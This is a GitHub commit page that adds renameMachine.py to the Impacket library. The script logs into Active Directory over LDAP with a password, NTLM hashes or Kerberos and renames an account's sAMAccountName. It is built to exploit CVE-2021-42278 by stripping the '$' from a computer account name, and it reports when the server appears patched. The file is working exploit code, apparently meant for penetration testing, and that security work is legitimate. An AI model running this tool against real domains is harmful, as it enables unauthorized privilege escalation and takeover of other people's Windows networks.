Skip to content

Commit 29a255a

Browse files
authored
Merge pull request #98 from ShutdownRepo/CVE-2021-42278
Added renameMachine.py
2 parents 1b688e5 + 0c74df0 commit 29a255a

File tree

1 file changed

+378
-0
lines changed

1 file changed

+378
-0
lines changed

examples/renameMachine.py

Lines changed: 378 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,378 @@
1+
#!/usr/bin/env python3
2+
# Impacket - Collection of Python classes for working with network protocols.
3+
#
4+
# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
5+
#
6+
# This software is provided under a slightly modified version
7+
# of the Apache Software License. See the accompanying LICENSE file
8+
# for more information.
9+
#
10+
# Description:
11+
# Python script for modifying the sAMAccountName of an account (can be used for CVE-2021-42278)
12+
#
13+
# Authors:
14+
# @snovvcrash
15+
# Charlie Bromberg (@_nwodtuhs)
16+
#
17+
18+
import argparse
19+
import logging
20+
import sys
21+
import traceback
22+
import ldap3
23+
import ssl
24+
import ldapdomaindump
25+
from binascii import unhexlify
26+
import os
27+
28+
from impacket import version
29+
from impacket.examples import logger, utils
30+
from impacket.smbconnection import SMBConnection
31+
from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
32+
from ldap3.utils.conv import escape_filter_chars
33+
34+
35+
def get_machine_name(args, domain):
36+
if args.dc_ip is not None:
37+
s = SMBConnection(args.dc_ip, args.dc_ip)
38+
else:
39+
s = SMBConnection(domain, domain)
40+
try:
41+
s.login('', '')
42+
except Exception:
43+
if s.getServerName() == '':
44+
raise Exception('Error while anonymous logging into %s' % domain)
45+
else:
46+
s.logoff()
47+
return s.getServerName()
48+
49+
50+
def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None,
51+
TGT=None, TGS=None, useCache=True):
52+
from pyasn1.codec.ber import encoder, decoder
53+
from pyasn1.type.univ import noValue
54+
"""
55+
logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
56+
:param string user: username
57+
:param string password: password for the user
58+
:param string domain: domain where the account is valid for (required)
59+
:param string lmhash: LMHASH used to authenticate using hashes (password is not used)
60+
:param string nthash: NTHASH used to authenticate using hashes (password is not used)
61+
:param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
62+
:param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
63+
:param struct TGT: If there's a TGT available, send the structure here and it will be used
64+
:param struct TGS: same for TGS. See smb3.py for the format
65+
:param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
66+
:return: True, raises an Exception if error.
67+
"""
68+
69+
if lmhash != '' or nthash != '':
70+
if len(lmhash) % 2:
71+
lmhash = '0' + lmhash
72+
if len(nthash) % 2:
73+
nthash = '0' + nthash
74+
try: # just in case they were converted already
75+
lmhash = unhexlify(lmhash)
76+
nthash = unhexlify(nthash)
77+
except TypeError:
78+
pass
79+
80+
# Importing down here so pyasn1 is not required if kerberos is not used.
81+
from impacket.krb5.ccache import CCache
82+
from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
83+
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
84+
from impacket.krb5 import constants
85+
from impacket.krb5.types import Principal, KerberosTime, Ticket
86+
import datetime
87+
88+
if TGT is not None or TGS is not None:
89+
useCache = False
90+
91+
if useCache:
92+
try:
93+
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
94+
except Exception as e:
95+
# No cache present
96+
print(e)
97+
pass
98+
else:
99+
# retrieve domain information from CCache file if needed
100+
if domain == '':
101+
domain = ccache.principal.realm['data'].decode('utf-8')
102+
logging.debug('Domain retrieved from CCache: %s' % domain)
103+
104+
logging.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME'))
105+
principal = 'ldap/%s@%s' % (target.upper(), domain.upper())
106+
107+
creds = ccache.getCredential(principal)
108+
if creds is None:
109+
# Let's try for the TGT and go from there
110+
principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
111+
creds = ccache.getCredential(principal)
112+
if creds is not None:
113+
TGT = creds.toTGT()
114+
logging.debug('Using TGT from cache')
115+
else:
116+
logging.debug('No valid credentials found in cache')
117+
else:
118+
TGS = creds.toTGS(principal)
119+
logging.debug('Using TGS from cache')
120+
121+
# retrieve user information from CCache file if needed
122+
if user == '' and creds is not None:
123+
user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8')
124+
logging.debug('Username retrieved from CCache: %s' % user)
125+
elif user == '' and len(ccache.principal.components) > 0:
126+
user = ccache.principal.components[0]['data'].decode('utf-8')
127+
logging.debug('Username retrieved from CCache: %s' % user)
128+
129+
# First of all, we need to get a TGT for the user
130+
userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
131+
if TGT is None:
132+
if TGS is None:
133+
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash,
134+
aesKey, kdcHost)
135+
else:
136+
tgt = TGT['KDC_REP']
137+
cipher = TGT['cipher']
138+
sessionKey = TGT['sessionKey']
139+
140+
if TGS is None:
141+
serverName = Principal('ldap/%s' % target, type=constants.PrincipalNameType.NT_SRV_INST.value)
142+
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher,
143+
sessionKey)
144+
else:
145+
tgs = TGS['KDC_REP']
146+
cipher = TGS['cipher']
147+
sessionKey = TGS['sessionKey']
148+
149+
# Let's build a NegTokenInit with a Kerberos REQ_AP
150+
151+
blob = SPNEGO_NegTokenInit()
152+
153+
# Kerberos
154+
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
155+
156+
# Let's extract the ticket from the TGS
157+
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
158+
ticket = Ticket()
159+
ticket.from_asn1(tgs['ticket'])
160+
161+
# Now let's build the AP_REQ
162+
apReq = AP_REQ()
163+
apReq['pvno'] = 5
164+
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
165+
166+
opts = []
167+
apReq['ap-options'] = constants.encodeFlags(opts)
168+
seq_set(apReq, 'ticket', ticket.to_asn1)
169+
170+
authenticator = Authenticator()
171+
authenticator['authenticator-vno'] = 5
172+
authenticator['crealm'] = domain
173+
seq_set(authenticator, 'cname', userName.components_to_asn1)
174+
now = datetime.datetime.utcnow()
175+
176+
authenticator['cusec'] = now.microsecond
177+
authenticator['ctime'] = KerberosTime.to_asn1(now)
178+
179+
encodedAuthenticator = encoder.encode(authenticator)
180+
181+
# Key Usage 11
182+
# AP-REQ Authenticator (includes application authenticator
183+
# subkey), encrypted with the application session key
184+
# (Section 5.5.1)
185+
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
186+
187+
apReq['authenticator'] = noValue
188+
apReq['authenticator']['etype'] = cipher.enctype
189+
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
190+
191+
blob['MechToken'] = encoder.encode(apReq)
192+
193+
request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO',
194+
blob.getData())
195+
196+
# Done with the Kerberos saga, now let's get into LDAP
197+
if connection.closed: # try to open connection if closed
198+
connection.open(read_server_info=False)
199+
200+
connection.sasl_in_progress = True
201+
response = connection.post_send_single_response(connection.send('bindRequest', request, None))
202+
connection.sasl_in_progress = False
203+
if response[0]['result'] != 0:
204+
raise Exception(response)
205+
206+
connection.bound = True
207+
208+
return True
209+
210+
def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash):
211+
user = '%s\\%s' % (domain, username)
212+
connect_to = target
213+
if args.dc_ip is not None:
214+
connect_to = args.dc_ip
215+
if tls_version is not None:
216+
use_ssl = True
217+
port = 636
218+
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version)
219+
else:
220+
use_ssl = False
221+
port = 389
222+
tls = None
223+
ldap_server = ldap3.Server(connect_to, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls)
224+
if args.k:
225+
ldap_session = ldap3.Connection(ldap_server)
226+
ldap_session.bind()
227+
ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip)
228+
elif args.hashes is not None:
229+
ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True)
230+
else:
231+
ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True)
232+
233+
return ldap_server, ldap_session
234+
235+
236+
def init_ldap_session(args, domain, username, password, lmhash, nthash):
237+
if args.k:
238+
target = get_machine_name(args, domain)
239+
else:
240+
if args.dc_ip is not None:
241+
target = args.dc_ip
242+
else:
243+
target = domain
244+
245+
if args.use_ldaps is True:
246+
try:
247+
return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash)
248+
except ldap3.core.exceptions.LDAPSocketOpenError:
249+
return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash)
250+
else:
251+
return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash)
252+
253+
254+
def parse_identity(args):
255+
domain, username, password = utils.parse_credentials(args.identity)
256+
257+
if domain == '':
258+
logging.critical('Domain should be specified!')
259+
sys.exit(1)
260+
261+
if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None:
262+
from getpass import getpass
263+
logging.info("No credentials supplied, supply password")
264+
password = getpass("Password:")
265+
266+
if args.aesKey is not None:
267+
args.k = True
268+
269+
if args.hashes is not None:
270+
lmhash, nthash = args.hashes.split(':')
271+
else:
272+
lmhash = ''
273+
nthash = ''
274+
275+
return domain, username, password, lmhash, nthash
276+
277+
278+
def init_logger(args):
279+
# Init the example's logger theme and debug level
280+
logger.init(args.ts)
281+
if args.debug is True:
282+
logging.getLogger().setLevel(logging.DEBUG)
283+
# Print the Library's installation path
284+
logging.debug(version.getInstallationPath())
285+
else:
286+
logging.getLogger().setLevel(logging.INFO)
287+
logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)
288+
289+
290+
def parse_args():
291+
parser = argparse.ArgumentParser(add_help=True, description='Python script for modifying the sAMAccountName of an account (can be used for CVE-2021-42278)')
292+
parser.add_argument('identity', action='store', help='domain.local/username[:password]')
293+
parser.add_argument("-current-name", type=str, required=True, help="sAMAccountName of the object to edit")
294+
parser.add_argument("-new-name", type=str, required=True, help="New sAMAccountName to set for the target object")
295+
parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP')
296+
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
297+
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
298+
group = parser.add_argument_group('authentication')
299+
group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
300+
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
301+
group.add_argument('-k', action="store_true",
302+
help='Use Kerberos authentication. Grabs credentials from ccache file '
303+
'(KRB5CCNAME) based on target parameters. If valid credentials '
304+
'cannot be found, it will use the ones specified in the command '
305+
'line')
306+
group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
307+
group = parser.add_argument_group('connection')
308+
group.add_argument('-dc-ip', action='store', metavar="ip address",
309+
help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If '
310+
'omitted it will use the domain part (FQDN) specified in '
311+
'the identity parameter')
312+
313+
if len(sys.argv) == 1:
314+
parser.print_help()
315+
sys.exit(1)
316+
317+
return parser.parse_args()
318+
319+
320+
def get_user_info(samname, ldap_session, domain_dumper):
321+
ldap_session.search(domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid'])
322+
try:
323+
dn = ldap_session.entries[0].entry_dn
324+
return dn
325+
except IndexError:
326+
logging.error('Machine not found in LDAP: %s' % samname)
327+
return False
328+
329+
330+
def main():
331+
print(version.BANNER)
332+
args = parse_args()
333+
init_logger(args)
334+
335+
domain, username, password, lmhash, nthash = parse_identity(args)
336+
if len(nthash) > 0 and lmhash == "":
337+
lmhash = "aad3b435b51404eeaad3b435b51404ee"
338+
339+
ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash)
340+
341+
cnf = ldapdomaindump.domainDumpConfig()
342+
cnf.basepath = None
343+
domain_dumper = ldapdomaindump.domainDumper(ldap_server, ldap_session, cnf)
344+
operation = ldap3.MODIFY_REPLACE
345+
attribute = 'sAMAccountName'
346+
dn = get_user_info(args.current_name, ldap_session, domain_dumper)
347+
348+
if not dn:
349+
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
350+
return
351+
try:
352+
logging.info('Modifying attribute (%s) of object (%s): (%s) -> (%s)' % (attribute, dn, args.current_name, args.new_name))
353+
cve_attempt = False
354+
if "CN=Computers" in dn and attribute == 'sAMAccountName' and not args.new_name.endswith('$'):
355+
cve_attempt = True
356+
logging.info('New sAMAccountName does not end with \'$\' (attempting CVE-2021-42278)')
357+
ldap_session.modify(dn, {attribute: [operation, [args.new_name]]})
358+
if ldap_session.result['result'] == 0:
359+
logging.info('Target object modified successfully!')
360+
else:
361+
error_code = int(ldap_session.result['message'].split(':')[0].strip(), 16)
362+
if error_code == 0x523 and cve_attempt:
363+
logging.debug('The server returned an error: %s', ldap_session.result['message'])
364+
# https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e
365+
logging.error('Server probably patched against CVE-2021-42278')
366+
elif ldap_session.result['result'] == 50:
367+
logging.error('Could not modify object, the server reports insufficient rights: %s', ldap_session.result['message'])
368+
elif ldap_session.result['result'] == 19:
369+
logging.error('Could not modify object, the server reports a constrained violation: %s', ldap_session.result['message'])
370+
else:
371+
logging.error('The server returned an error: %s', ldap_session.result['message'])
372+
except Exception as e:
373+
if logging.getLogger().level == logging.DEBUG:
374+
traceback.print_exc()
375+
logging.error(str(e))
376+
377+
if __name__ == '__main__':
378+
main()

0 commit comments

Comments
 (0)